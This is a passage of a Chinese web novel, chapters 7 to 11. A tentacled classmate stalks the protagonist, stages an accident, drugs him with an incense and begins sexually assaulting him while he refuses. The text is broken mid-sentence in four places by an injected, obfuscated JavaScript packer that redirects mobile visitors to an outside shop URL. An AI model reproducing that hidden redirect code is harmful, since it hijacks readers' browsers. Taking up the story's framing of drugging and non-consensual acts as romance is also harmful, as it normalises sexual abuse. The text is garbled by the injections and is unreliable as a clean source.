今晚上他是特意出来的。他知道薛蕴知在这里,也知道他喝了很多酒,喝醉的人最好摆布了。如果放弃这次机会,温涟不知道下一次得等到多久,他算不得是个多有耐心的人,迫不及待地想和薛蕴知亲密接触。 …… 暖洋洋的阳光照亮了整个房间。薛蕴知睁开眼睛,意识还没完全清醒,下意识伸手摸手机,手机却不在往常的位置。他撑着床坐直身子,晃了晃脑袋,黑发凌乱,还翘起了几簇,鲜少显出这样凌乱的状态。 他抓着头发,把本来就乱的头发抓的更乱了,坐了好一会儿,昨晚的记忆才碎片化回笼了一些,他偶遇了温涟,温涟把他带回了家,后面的记忆就完全空白了,怎么想也想不起来。 所以他现在是在那个书呆子家里的床上?薛蕴知暗骂自己一句,真是喝太多了,喝酒误事。 他注意到自己的手机被放在了桌子上,于是拿了起来,一亮屏就弹出了满屏的消息。 他这才想起来昨晚走的时候忘记和江明知会一声了,有点头疼地按住额角,一目十行看完了江明给他发的一连串消息。 江明见他半天没回来,于是出门找他,却发现怎么找也找不到,心里一慌,给他发了消息,结果薛蕴知一条也没回,他更是觉得可能出了事,着急得不行,未接电话也打了一连串。 “我没事……”薛蕴知按住语音,这才发现自己嗓子有点哑,是喝酒的后遗症。他上滑取消了发语音,打字道:【我没事,别担心】 消息刚发出去两秒,江明一个电话打了过来,薛蕴知下意识接了。 “你在哪儿呢哥,薛哥,现在真安全还是假安全啊?什么时候回的家啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140954|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去你家敲门也没人开啊,吓死我了,我都没敢睡,怕你出了什么意外,还去了警察局,结果他们说人失踪不到24小时不立案,还说我不是直系亲属,哎哟我真服了……”江明说话跟机关枪扫射似的,一张嘴气都没换说出一大段话。 “抱歉啊,让你白担心一场,”薛蕴知趁他说话的空隙终于插进了一句,嗓音沙哑,“昨天喝醉了,遇到了一个……一个认识的人,就和他回家了。” 电话那头停顿了下,又继续问:“你在谁家里啊?我认识吗?” “你……”薛蕴知本来想说认识,但想到江明可能不记得了,他宿醉正头疼着,也懒得解释,于是含糊带过,“应该不认识,就是我一个朋友。” “……哦,那就好,你没事就太好了,”江明虽然想不明白薛蕴知有哪个朋友是他不认识的,但提了一晚上的心终于放下了,困意涌上来,打了个哈欠,“那我睡了啊,哥。有什么事给我打电话。” 薛蕴知:“嗯,你快休息吧,我昨天该和你说一声的,估计是喝太多了,没想起来……” 江明:“和我客气什么。” 薛蕴知和江明又说了一两句话,挂了电话,一抬头发现门不知道什么时候打开了,门口站着个人。 他差点被吓了一跳,看清了是温涟,才缓过了神。他起身下了床,一边说:“昨天给你添麻烦了。” “不麻烦……” 温涟看着他对自己生疏的态度,又想到刚才听到的他和江明打电话时的熟络放松,心脏像是被一只手揪起,有些难受。 他看着薛蕴知走来走去找着自己的衣服,似乎是刚醒来就要走了,背至身后的手不自觉捏成了拳头,出声道:“我做了饭,要不然先吃了再走吧。” 薛蕴知嘴巴一张就是拒绝:“不了吧,有点太麻烦你了。” “我刚好做了两人份的,我以为你会多留一会儿。”温涟声音轻轻的,眼睛直勾勾盯着薛蕴知,眼睛微微睁大,盛着点显而易见的难过。薛蕴知看不见他背至身后的那只手,指甲都嵌进了掌心肉里。 薛蕴知只能看见他扎了个揪的刘海,以及那双没有眼镜遮挡后漂亮澄澈的眼睛。他不太擅长拒绝别人的好意,吃软不吃硬,和温涟对视了几秒后,还是点了头,说了声谢谢。 他没找到自己昨晚上穿的那套衣服,不得不出声问温涟自己的衣服在哪里。 薛蕴知头发有点乱,居家的风格,和他在学校里冷酷俊帅的样子有些出入,却大大减少了距离感。温涟和他对视了好一会儿,神情有些怔忪,半晌终于回过神,意识到他问了什么,回道:“哦,还在晾干。我昨晚放洗衣机洗了……我是不是不该洗?” 他看着薛蕴知的表情,后知后觉意识到了这个问题。 薛蕴知抿了下唇,桃花眼里似乎闪着点笑意:“是啊,那我穿什么呢。” 温涟也学着他抿了下唇:“穿睡衣。” 这一抿唇就唤醒了他的肌肉记忆,他忽然想起昨晚上偷偷亲薛蕴知的滋味,他的唇很软很甜……神思一瞬间发散得很远,温涟不自觉地低下头,回味起来。 怎么总是瑟瑟缩缩不自信的样子?薛蕴知看着他低头往阴影里躲,像只缩头乌龟,还挺好玩的。他忍不住伸手搭在了温涟的肩上。 温涟像触电了似的猛地抬起头来,整个人僵硬得像根冻僵的蛇。 薛蕴知低眸,天生的桃花眼让他专注看着一个人时不自觉地显出几分深情,他随手弹了下温涟头上翘起来的小啾啾,看着小啾啾一晃一荡的:“怎么又缩脑袋了。” 温涟眼睛眨了眨,也不含胸驼背了,听话地站直了身子,立马变得很有精神气起来,但眼睛依旧一刻不移地盯着他。 薛蕴知眼尾似有若无地弯了一下,漾起一点浅淡笑意,仿佛只是随口一说:“这样,就很好看。” 他的断句很有韵味,也很有自己的风格。 温涟心脏砰砰直跳。 8. 第 8 章 老实说,温涟做饭的手艺真心不错,香气扑鼻,色香味俱全,却又不至于太油腻,对于刚睡醒就吃午饭的人来说刚刚好。 薛蕴知忍不住就多吃了几口。 两人坐在餐桌上,都在认认真真地吃饭,没有人说话,气氛相当和谐,甚至有几分奇异的温馨。 温涟不着痕迹地盯他,头不动,只是眼珠子转动,仔仔细细观察着薛蕴知的每一个细微动作,薛蕴知感受到一道不容忽视的灼热视线,奇怪地抬头,左看右看,却找不到任何异常的地方,温涟俨然一副埋着头专心致志吃饭的模样。 “怎么了吗?”温涟似乎是注意到他东张西望的动作,也抬起头,茫然地问,“饭菜不合你胃口吗?” 薛蕴知垂下眼睫:“……不是,很好吃。”而且很凑巧都是他爱吃的。 薛蕴知不太相信世界上有这么多巧合,他心头那点怀疑又冒了芽。而且—— 昨晚他又梦到有触手爬上他的身体了。 …… 吃完饭后,薛蕴知想要洗碗,温涟眨了下眼睛,澄澈的浅色瞳孔望着薛蕴知,认真地说厨房有洗碗机,让他先去找自己的衣服换上。 薛蕴知确认温涟是真的不需要他帮忙,于是去找自己的衣服,已经干了,抱在怀里暖烘烘的,浸着一股很浅的茶香,和他睡着的那张床上的味道很像,也和温涟身上的味道很像。 薛蕴知没想太多,回到那个房间,换好了衣服,看着脱下来的那套睡衣,决定自己洗干净了再还回来。 没想到温涟从他怀里抱过那套衣服,说话时避开了薛蕴知的视线:“不用带回去……” 他似乎是还记得薛蕴知说他挺直背端正站着好看,于是即便是躲闪目光的时候,也站得很端正。站直之后,他身上笼罩的那种忧郁恬淡的气质更加突出,低头时露出一小截白皙干净的后颈。 温顺。 薛蕴知的脑子里突然冒出这个词。——一个用来形容人不太礼貌的词。 他抿了下唇,不知道自己怎么会有这种想法,但偏偏这个词放在面前人身上十分贴切。像一只瑟缩的、沉默的、却又极其温顺的羔羊,看起来胆子很小,很容易受到惊吓。 但这又和薛蕴知时不时感到的异常之处十分矛盾,以至于让他怀疑自己的判断是不是有误。 温涟喊了司机送薛蕴知回家。离开了那个房子,薛蕴知坐上了车的后座。他撑着脑袋,眼睛睁着,没有聚焦地看着前方,心里却在想事,并不像昨晚上那样在陌生空间里还能安心睡着。 仅仅在这么短暂的时间里,他们就已经偶遇了三番四次了,他还醉酒和他回了家。薛蕴知实在很难不怀疑温涟是抱着目的来接近他的,但温涟家境这么好,又是年级第一,他身上有什么是值得这位小少爷可图的呢? 虽说之前被个富二代下过药,但薛蕴知不会自恋到觉得每个人都图他身子,世界上哪有那么多男同?况且温涟看都不敢看他,明显就不可能是喜欢他的样子。 想了半天,薛蕴知也想不通温涟能抱着什么目的接触他,最后不得不承认,有可能真的就这么巧。 总之,凭借着这几次意外的相遇,温涟真的给薛蕴知留下了印象,还和他加上了联系方式。 薛蕴知不知道自己走后,温涟把他穿了一晚上的睡衣紧紧抱在怀里,脸深深埋了进去,用力呼吸着,汲取着上面残留的一点气味,清新雪融般的冷香和酒味纠缠在一起,不知过了多久,温涟才终于满足地抬起脸,精致的脸蔓延着极致病态的晕红,看起来很不正常。 “我的。”他嘴唇张合,轻轻呢喃着,抱紧了怀里的衣服,加重了语气,一字一句:“我的!” * 江明知道薛蕴知说的那个他不知道的朋友是谁了,这段时间他也不是个瞎子,每次下课想找薛蕴知找不到的时候,就发现他在走廊上和一个长刘海带眼镜的男生似乎是在说话交谈。 江明说不上特别了解薛蕴知,但自问也是他身边数一数二的关系好的了。薛蕴知不是会主动交朋友的人,就连他和薛蕴知说上话,也是靠着持之以恒的努力和不断打磨的厚脸皮才成功的。 这个人从哪里冒出来的? 他早就忘了那一次相撞的意外,仰靠在椅子上,手里拿着漫画书,却心不在焉的,眼神时不时往走廊上瞟。 “你们什么时候关系这么好了?”等到上课,江明压低声音,摇了摇趴着睡觉的薛蕴知,和他说小话。 “谁?”薛蕴知被他从睡梦里摇醒,睁开眼睛时神色还是懵的,黑润的眸里沁着困倦的水汽。 “就你那个我不认识的朋友。”江明想了想,有点担心地皱起眉,“那是谁啊?你不会被人骗了吧。” “你在担心这个啊,”薛蕴知散漫地揉了揉眼睛,眼尾被他按得泛红,左眼角的泪痣十分显眼,侧眸瞥了江明一眼,打了个哈欠,“是高三一班的,叫温涟,你可能听说过这个名字,上次领奖的时候他是年级第一。能有什么问题,我怎么会被骗?而且我身上有什么值得骗的啊?” 薛蕴知觉得江明在杞人忧天,瞎说八道。 “不对,你语气不对啊。”江明和他认识一年多了,还没太听到他用这种与有荣焉的语气向自己介绍过谁,薛蕴知眉梢微挑,无声地回他,有吗? 江明啧啧两声,坐正了身子,脑袋凑过去,一副认真观察的模样,薛蕴知耸了耸肩,表情不变,任着他观察自己。江明停下动作,谴责他:“总之你不能有了新朋友就忘记旧朋友啊。” “旧朋友?谁啊?”薛蕴知故意道。 江明用大拇指用力指了指自己:“我啊!” 插科打诨一会儿后,江明正色:“不过你和这个叫温涟的人交往还是注意点。” 见薛蕴知撑着下巴,眼睫垂下,看起来下一秒眼睛就要阖上了,江明用手肘壮了撞他,让他认真些,薛蕴知这才终于认真了点,眼尾轻轻弯起,看着他,表示自己有在认真听。 他认真了,江明倒是立马移开了视线,不和他对视,暗道薛蕴知这人怎么还胡乱散发魅力,他是直男直男! 江明清了清嗓子,让自己注意力集中在该集中的地方,继续说道:“你说温涟这个名字,我就有点印象了,我听别人说起过他,这个学期转学来崇明一中的。 “很少有人会高三转学,所以他转学过来就很奇怪啊,平时又独来独往的,特别不爱说话,把自己的脸挡得严严实实,好像怕人看一样,如果不是因为咱们都是学生,我都要怀疑他是什么不能露脸的嫌犯……好了好了,虽然我说得有点偏题了,但他整个人就透着股古怪,说吧,你和他到底怎么熟起来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140955|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 越说这些信息,江明就越觉得他们熟起来是件很奇怪的事,完全就是八竿子打不着的两个人莫名其妙在他看不见的角落里成了朋友,甚至到了匪夷所思的程度。 薛蕴知支着下巴听他说完,浓密眼睫随着垂眸的动作投下一片阴影,表情平静淡然,点点头,问道:“你见过他吗?” 他看江明这样子,就猜到他已经忘记了前几周的那次和温涟的偶遇。 江明仔细地搜寻了下自己的记忆,不得不摇了摇头,但还是嘴硬地反驳:“虽然我没见过,但是他们都这么说……而且就是很没有存在感啊,也不说话,每天就跟恐怖片里的鬼魂一样飘来飘去。” 薛蕴知觉得他这个比喻有点好玩,但也能听出来江明对温涟存在着点偏见,“既然没见过,就别说这种话了。他人……还挺好的。” 他想起温涟隐藏于黑框眼镜之下的,那双很干净的眼睛。崔姨说过,和人交往,第一步是看他的眼睛。 眼睛是心灵的窗户。 虽然温涟有时候还是有些很奇怪的表现,但薛蕴知内心深处依旧觉得他是个不错的人。 江明发现他居然在维护温涟了,撇了下嘴,敷衍地点点头,嘴上应道:“好吧好吧。” 他一抬头,听到数学老师让做题,他转身在书包里找草稿本,一抬眼瞥到站在教室后门的人影,直挺挺地立在那儿,他瞳孔骤缩,被猛地吓了一跳。 认出了是不久前和薛蕴知在走廊说话的温涟。他刚说完对方坏话,转眼就看见被说坏话的本人,属实是被吓了一跳,但同时让他觉得脑子嗡的一响的是这不是上课时间吗。 什么?所以是在偷听吗?江明拍了拍自己的心脏,像是要把砰砰直跳的心脏给按回去,暗叹真是自己吓自己,这个距离怎么可能听得到? 他没有注意到地上湿滑的一道痕迹,散发着浅淡得极易消失的海洋动物的腥气,拖曳着从他们座位的位置,一路延伸到门口消失不见。 “怎么了?”薛蕴知看他一惊一乍的,淡声问他。 “你那个朋友好像来找……”江明指了指门口,却发现门口一个人影都没有,似乎他刚才看见的只是一场幻觉,他盯着后门皱起了眉头,不相信自己刚才看错了,恰好一阵风吹过,他身上猛地窜起了鸡皮疙瘩,只感觉浑身都毛毛的。 薛蕴知压根没听清他说了什么,顺着他手指的方向往后门看了眼,眼睛眨了下,茫然地问:“什么?” “没什么……”江明搓了搓自己冒起的鸡皮疙瘩,起了另一个话题,“这周五我请你吃饭去不去?” 薛蕴知侧眸:“怎么这么大方了?” 江明:“也不能说是我请……就是温家那个继承人这周五的生日,我爸妈让我一定要去,但是我一个人去好没意思,你和我一起去吧,和我做个伴,就当是兄弟请吃饭了。” 江明朝薛蕴知挤挤眼睛,薛蕴知下意识问:“温家?” “好像是叫温席林。”江明在草稿纸上画圈圈,装模作样地应付老师布置的做题任务。 “……哦。” “去吗去吗?”江明用手肘撞撞他,努力说服他。 薛蕴知也在草稿纸上画了两个圈,乍一眼看上去像两只圆圆的眼睛,漫不经心地回道:“去啊,有饭吃怎么不去?” 9. 第 9 章 一周过去得很快,薛蕴知的生活严格遵循着三点一线,规律到了极点,用便利店兼职的钱维持自己一日三餐的供应。 晚上还是时不时就会做触手相关的梦,湿黏滑腻的触感,吸盘翕张,在皮肤上下滑动。薛蕴知有点受不了这东西,每次从梦里被惊醒后,都立马去洗澡,想要赶快摆脱这种恶心的触感。 他到底为什么会做这种梦啊?他又不是触手控! 薛蕴知简直快要维持不了淡淡的心绪,被这莫名其妙的梦搅得眼下青黑都没散过,一到学校就趴在桌子上睡觉,无精打采的,浑身笼罩着一股厌世冷感。 不对劲。真的不对劲。 薛蕴知是个坚定的唯物主义者,不觉得自己会莫名其妙连续这么多天做这种怪异的梦,但是要他说会是被操纵了梦境什么的,他就觉得更不可能了。 干脆来了个物理对冲,他看了不少烤鱿鱼炸章鱼腿的视频,面无表情地看着触手被烤得扭动挣扎,他颇有点解气的感觉,每看一个就点上推荐。 结果温涟问他要不要吃烤鱿鱼。 薛蕴知:“……不吃。” 温涟又眨眨眼睛,认真问他:“那你想吃章鱼小丸子吗?” 他们单独相处的时候,温涟就不会带着那副土气的眼镜。他好像也知道平时那副打扮不好看,只是用来挡脸的工具。 说话时,琥珀色的眸子专注望着薛蕴知,眼睛里除了认真外什么感情也没有,淡漠到仿若无机质。 薛蕴知摇头,眼睛轻眯了下,带出几分嫌恶,“我不喜欢……带触手的生物。” 话音刚落,温涟眼睛微微睁大了点:“不、不喜欢吗?” 他少见地打了个磕巴,嘴巴张了张又闭上,然后又张开,眼里里水光流转,鼓起勇气询问:“为什么不喜欢啊?” 薛蕴知低着头,眉头皱起,自然错过了温涟眼睛里包含的情绪,他想起在梦里被触手亲昵裹缠的触感,就忍不住掉一地鸡皮疙瘩,尤其是还害得他没睡成一个好觉,他冷漠地说:“很恶心啊。” 温涟唇抿进嘴里,心凉了半截,试图为触手正名:“还好吧,其实还挺可爱的……” 薛蕴知抬起头,看向他,眉梢微挑:“你不觉得恶心吗?” 其实他真的只是不带任何感情的问上一句,但温涟却理解成了另一种意思,立马和薛蕴知站到了一边,顺着他的话肯定:“确实挺……挺恶心的。” 说完,他就感觉自己的触手有些蠢蠢欲动了,他把触手压下,昧着良心说出了这句话,他不自觉地偏过了头,避开了和薛蕴知对视。 薛蕴知看着他,忽地眼角轻不可闻地弯了下,看出了他的真实想法,实在有点忍不住想笑:“你喜欢就说喜欢啊。” 他眼尾只是勾起了点清浅的弧度,转瞬即逝,却让窥见了这个笑容的温涟心脏一瞬间跳得飞快,亢奋兴奋的情绪鼓胀得填满了整个胸腔。 温涟竭力压抑着不正常的跳动的脉搏,眼睛直勾勾望着薛蕴知,像是忠诚却又纯情的小狗,耳朵微烫,黏黏糊糊地说:“喜欢。” …… 宴会厅推杯换盏,穹顶上悬挂着水晶吊灯,折射出碎钻般细密而璀璨的光芒,恍若可以流动的光雾。这方空间里充盈着清冽昂贵的香气,以及淡淡的花香,到处都充满了金钱的味道。 薛蕴知换上了一套西装,江明友情提供的,拉他一起来宴会之前,拿着西装让他换上了,送货上门周到得不行。 西装看起来也是精心挑选过的,剪裁得当,衬的他脊背挺拔。腰身收出流畅的弧线,顺着身体的曲线微微内敛,腿的线条被直筒西裤勾勒得修长笔直,十分耀眼,宴会厅里有不少人不由自主地把目光落在了他的身上,手里晃着酒杯,悄无声息地打量着他。 有几个人窃窃私语,打听着他是哪家的小孩,还有人考虑着要不要直接上去问。 薛蕴知停在角落里,站姿随意散漫,隐没在阴影里,依稀可以窥见冷淡的脸色,脸长得很俊,能看出身上那股稚嫩的学生气,偏就是这种反差感最吸引人。 “哟,还蛮适应的嘛。”江明和熟悉的长辈打了个照面回来,东张西望找到薛蕴知所在的方位,迈开步子几步就凑了上来,看见薛蕴知正在吃冰淇淋,他手搭在他肩上,立马卸下了刚才装出来的稳重,轻松地笑了起来。 薛蕴知挖了一勺冰淇淋送进嘴里,冰沁的海盐味在口腔里化开,回道:“嗯,以前在这种地方打过工。” 江明感叹:“薛哥你真是打工皇帝啊。” 薛蕴知不置可否。 刚从崔姨家搬出来的那段时间是中考完放假,那个长假他尝试了不少工作,攒下来了一点钱,也算是某种意义上的体验生活了,所以才支持了他现在只做一份兼职就能养活自己。 薛蕴知在这儿没有认识的人,可以随心所欲地走来走去,吃点宴会厅里的高级甜点,江明却不能,他又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140956|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞见了一个他父母的熟人,不得不停下脚步进行无聊的交际聊天。 薛蕴知浅浅抿了口杯子里的酒,朝他歪了下头,抬手轻轻抓了下,表示拜拜,自己要去另一边看看了。江明也想跟着一起去,但被绊住了脚步,无奈地叹出一口气,只好继续应付长辈的问话。 象牙长桌上摆满了漂亮精致的点心。 薛蕴知正考虑着吃哪个,一只手拿起了一块点心,叉起一块,递到了薛蕴知唇边。 “可以吃这个,这个不是很甜。”少年嗓音很有辨识度,清亮干净,仿佛没有一点杂质。 薛蕴知抬起眸,刚好和温涟对视上。 温涟皮肤白,嘴唇红润,穿着一身熨帖合身的西服,以至于他不能够再像在学校那样用宽松的校服把自己藏起来了。 看见薛蕴知在看他,他下意识地弯了下眼睛,态度软和,像是把自己的刺全部收了起来,无害温和,精致贵气。 但偏长的刘海今天没有被别起来,垂着挡住了一部分视线,给整个人的气质平添上几分湿冷的阴郁。 即便是笑起来,琥珀色的瞳孔流露出蜜一样的愉悦,也没能够隔绝这种阴沉。 他和薛蕴知的关系在日渐熟络亲近,的的确确已经是朋友的关系了。 在温涟的刻意接近下,这个进度看起来似乎并不算快,但放在薛蕴知身上就显得有些新奇了,毕竟在崇明高中待了一年多,能找到机会和他搭上话的都没几个,至今称得上朋友关系的还是热情过分的江明。 递到唇边的叉子保持着举起的动作,点心轻轻擦过唇瓣,薛蕴知张开嘴,想咬住的瞬间突然发觉这个动作有点奇怪,动作卡了一下,迟迟没凑近咬下,反而方便了温涟把叉子喂进了他的嘴里。 薛蕴知的身体先脑子一步做出了合齿咬住叉子的反应动作,生怕他给自己喉咙捅个对穿。 薛蕴知:“……” 温涟目光坦坦荡荡的,好像完全没察觉到这个动作的暧昧,弯起眸子:“是不是很好吃。” “好……”剩下那个字还没说出来,旁边端着酒的侍应生匆匆忙忙地掠过,没注意路,撞上了温涟,托盘里的酒全部洒了出来,泼了薛蕴知一身。 薛蕴知额角一跳,看着身上被红酒泼得狼藉的西服,按了按额角,发觉自己竟然有头疼的毛病。 “对不起对不起!”侍应生发现自己闯了祸,一瞬间就慌了神,低着头连连道歉,表情惶恐。 10. 第 10 章 这边突然闹出动静,引起了一部分人的注意,朝这边投来视线。 薛蕴知深深吸了上一口气,不知道该摆上什么表情了,酒味扑鼻,只是来蹭顿饭,居然摊上这倒霉事。难道下次出门前真的还得提前看下风水吗? 西服被酒水完全浸湿,连里面的那件白衬衫都遭了殃,紧贴在身上,勾勒出身体上紧实的肌肉线条,酒水在锁骨处汇成了一小汪,又顺着低头的动作漾了出来。 让在场人的脑子里不约而同地想到一个词,性感。 性感得要命。 身形介于少年与青年之间,宽肩窄腰,如果光看脸,像是那种玩得很野的公子哥,但实际上这人身上透着冰块一样的冷意,一张俊帅的脸没什么表情波动,连眼角点缀的红痣都暗淡着,浑身上下都写着性冷淡三个字。 薛蕴知拧眉擦着西装上的酒水,但显然这样擦是擦不干净的。 温涟离他最近,盯着这一幕,喉结难耐地滚动,触手都快要按捺不住,眼瞳呈现浅淡的琥珀色,被浓重的欲望充斥着,喧嚣着呼之欲出。 温涟瞳孔兴奋颤动着,只可惜薛蕴知全身心注意着自己被弄脏的西服,完全没注意这种神情的细微变化。 薛蕴知听见身边的人出声:“我带你去休息室换身衣服。” 嗓音听起来有点哑,像是在克制着什么。 薛蕴知抬起眸看他,眼睛黑白分明,看得温涟呼吸一紧,瞳孔震得更厉害了,但又忍不住想是暴露了吗?不动声色地分神瞥了一眼泼酒之后深深低着头的侍应生。 温涟满意那名侍应生的演技,演得很好。他肯定地想,唇角轻轻勾了下。就算是薛蕴知,也不会发现。 “可以吗?”温涟习惯性地用询问的语气,不断地用语气和动作向薛蕴知强调着自己的柔和与无害,睁大的浅色眸子里在宴会灯光的照耀下,晕上一层很能迷惑人的柔光。 他看着被酒浸湿衣服、形容稍显狼狈的薛蕴知,眼里闪过一丝愉悦。但周围人投来的灼热视线,又让他感到了浓烈的、自己所有物被觊觎的不爽,只想要把面前人藏起来,最好只有自己能看见他失态的模样。 薛蕴知不知道他在想什么,西服被弄脏的烦躁让他丧失了平时的敏锐。吸的那口气缓缓吐出来,幽幽道:“没有了。” 没有能换洗的衣服了。 温涟看着眼睛里流露出淡淡幽怨的薛蕴知,发自内心地觉得他怎么能这么可爱,他轻轻抓住薛蕴知的手腕,没有用力,隔着衣服布料圈住他的手腕,薛蕴知停了擦衣服的动作,眼睛眨了下。 “我找人送一套干净的过来,我先带你去休息室。” 薛蕴知点了头。他这次记得和江明说了声,表示自己一切安全,不用找他,以免江明又像那天晚上一样白白担心。 休息室空间宽阔,不夸张地说,比薛蕴知租的那个单间要豪华几十倍。 薛蕴知一个人坐在休息室的床上,抬起眸,眼神没有聚焦地发呆,温涟说是去拿衣服,让他等一等。 他看着休息室的布置,抿了抿唇,唇瓣被抿得湿红,他低下眸,想着自己也要努力挣钱买个属于自己的房子。 小点也没关系,一室一厅一厨一卫那么大就可以。 薛蕴知做着计划,畅想着未来,那张冷漠的桃花眼都漾起了一点期待,温涟久久没有回来,出于这段时间的相处和对温涟的信任,他没有警惕起来,反而继续安静地在房里等着。 被红酒浸湿的西服被搭在了椅子上,休息室里被迷醉的酒味沁透,以至于空气中一股不对劲的甜香被裹藏了起来,顺着酒气一起被吸入呼吸道,又渐渐弥散开。 等薛蕴知意识到不对劲的时候已经来不及了,鼻腔摄入了太多这股甜腻的香气,脑袋变得晕乎乎的,身体不正常地滚烫发热。 骨节分明的手指蓦地攥紧了床单,抓起一片褶皱,那股热意从小腹往上烧,烧得意识开始模糊。 他猛地站起身,身体被欲/火烧得酸软,支撑不住重量,又重重摔回了床上。 “艹!”薛蕴知死死咬住唇,抵抗那股一遍遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140957|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲刷着脊骨、令人战栗的冲动,眼睛瞪红了,几乎咬牙切齿。 如果这个时候还不知道自己是被阴了,他就白活了这十八年了。 他是个界限分明的人,对他来说,世界上只有他熟悉的人和陌生人两类,这段时间舒适的相处,让他默默地把温涟归在了值得信任的前者当中,但现在空气中的甜腻迷香无异于给了他当头一棒。 恶心!……恶心死了。 “知知——”身后传来故作亲昵的声音,像第一次见面时一样,好听得像薄荷味冰淇淋一样,但此时的薛蕴知只觉得反胃得想吐。 但同时身上冒起了点鸡皮疙瘩……怎么会?他明明看着温涟走出去关上门的! 烧得糊涂的脑子把记忆也模糊了,他不由得开始怀疑他真的看到温涟走出门吗? 温涟的手从身后摸上他的脖颈,冰凉舒爽的触感让薛蕴知下意识地凑拢,但下一秒就反应了过来,脸上的表情冷得快要结冰,又恼又怒,伸手一把往后抓。 手掌准确无误地掐住脖子,虎口卡在喉结上。薛蕴知爆发出很大的力气,一把把温涟从身后拽到了自己面前,很难想象,一个中药的人还能爆发出这么大的力气。 他没收力,眼神冷得像是刀子,眼角那颗痣红艳得烫人,温涟被他掐得几近窒息。 掐在脖子上的手逐渐收紧,温涟那张精致的脸因窒息而涨红,但他却愉悦地弯起眼睛,浅色眼瞳里装的满满的都是面前的少年,显得病态又执拗,脖颈上几乎要把颈骨捏碎的手劲,让他眼角溢出了生理性眼泪,眼泪把眼睛浸得发亮透明,睫毛濡湿。 薛蕴知仿若被这个眼神烫了一下,手无意识地稍微松了点力,谁知就是这么小的放松,就被温涟抓住了机会,强硬地按倒在了床上。 薛蕴知一直呼吸着房间里不正常的甜香,毒药般的迷香把骨头都变得酥麻,方才的大力只是爆发,现在被温涟这个一米八的男性躯体发狠按在了床上,一时间竟然挣脱不开,身体甚至还贪恋对方身上给予的凉快,不受控制地贴近。 11. 第 11 章 薛蕴知冷着脸,唾弃自己中了药的身体反应,简直杀了温涟的心都有了。 桃花眼里不加掩饰的嫌恶近乎溢出来,眼珠紧紧盯着温涟。 温涟却不在乎他的厌恶,细密清凉的吻落在他的颈侧,逐渐往下,仿佛含着千缕万缕的情绪,轻轻地一遍遍地喊着:“知知。” 吐息偏凉,张合的唇吐出浓重爱慕的述说,封闭的空间里,安静得除了温涟的低语外没有任何声音,即便薛蕴知不想听,也不得不被迫听见他述说着让人恶心的爱欲,药物作用下热烫的皮肤竟然也渴望着让他舒服的触碰。 薛蕴知俊帅的眉眼流露出的只剩下厌恶,在心里狠狠骂着自己被脸迷惑识人不清了。 温涟确实生了张很有迷惑性的脸,戴上眼镜时眼睛被挡住,看起来像是沉默寡言死读书的书呆子;取下眼镜后,精致的五官显露出来,挂着无害无辜的神情,琥珀色的眼睛澄澈干净,任谁也想不到…… 想不到他会是个彻头彻尾的变态! 薛蕴知看都不想看他,仰起头盯着天花板,自暴自弃地想,随便吧,眼睛一睁一闭就过去了。 然而在温涟吐着舌头去舔的那瞬间,薛蕴知还是禁不住浑身一激灵,反胃的感觉一瞬间涌到了喉咙,额角青筋突突跳起来,立马伸出手毫不留情地扯住了他后脑勺的头发,猛地往后拽,直到他远离了自己。 薛蕴知头皮发麻,忍不住偏过头去干呕了几声。 温涟眼睁睁看着甜点从唇上离开,头皮被扯得生疼,表情却没出现疼痛的变化,眼睛轻眨了下,有些茫然地抬起头看向薛蕴知,好像是不明白他为什么要夺走自己的甜点。 薛蕴知唇色艳,眼角那颗痣也艳得惊人,黑润的眸里漫起水雾,眯着眼睛低头看着,恶狠狠地吐出一个字:“滚!” 他抓着温涟头发的手在抖,努力想要压下空气中迷香对他的影响,但是很艰难,手上的力气逐渐卸去。 为了方便品尝,温涟是跪在地上的,此时仰着头,薛蕴知松开手了,但头皮被扯得生疼的触感还没完全散去。他抬起的眼睛还是像水洗过一样干净,似是不解:“你明明也会很舒服。” 